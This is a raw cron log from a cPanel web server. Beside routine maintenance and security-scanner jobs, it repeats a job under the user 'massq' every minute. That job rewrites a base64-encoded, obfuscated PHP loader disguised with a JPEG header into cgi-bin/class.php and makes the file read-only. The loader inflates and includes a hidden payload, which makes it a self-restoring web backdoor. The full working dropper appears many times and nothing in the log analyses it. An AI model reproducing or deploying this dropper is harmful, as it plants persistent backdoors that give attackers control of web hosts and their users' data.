Sep  2 06:44:01 server CROND[6445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:44:01 server CROND[6446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:45:01 server CROND[6922]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 06:45:01 server CROND[6926]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 06:45:01 server CROND[6927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:45:01 server CROND[6929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:45:01 server CROND[6933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:45:01 server CROND[6930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:45:01 server CROND[6931]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:46:01 server CROND[7767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:46:01 server CROND[7768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:46:01 server CROND[7769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:47:01 server CROND[8146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:47:01 server CROND[8147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:47:01 server CROND[8148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:48:01 server CROND[8525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:48:01 server CROND[8526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:48:01 server CROND[8527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:49:01 server CROND[8892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:49:01 server CROND[8893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:49:01 server CROND[8894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:50:01 server CROND[9374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:50:01 server CROND[9376]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 06:50:01 server CROND[9378]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 06:50:01 server CROND[9380]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 06:50:01 server CROND[9386]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 06:50:01 server CROND[9388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:50:01 server CROND[9394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:50:01 server CROND[9393]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:50:01 server CROND[9385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:51:02 server CROND[10286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:51:02 server CROND[10287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:51:02 server CROND[10288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:52:01 server CROND[10646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:52:01 server CROND[10647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:52:01 server CROND[10648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:53:01 server CROND[11031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:53:01 server CROND[11032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:53:01 server CROND[11033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:54:01 server CROND[11395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:54:01 server CROND[11396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:54:01 server CROND[11397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:55:01 server CROND[11909]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 06:55:01 server CROND[11913]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:55:01 server CROND[11917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:55:01 server CROND[11918]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:55:01 server CROND[11919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:55:01 server CROND[11920]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 06:55:01 server CROND[11922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:56:01 server CROND[12781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
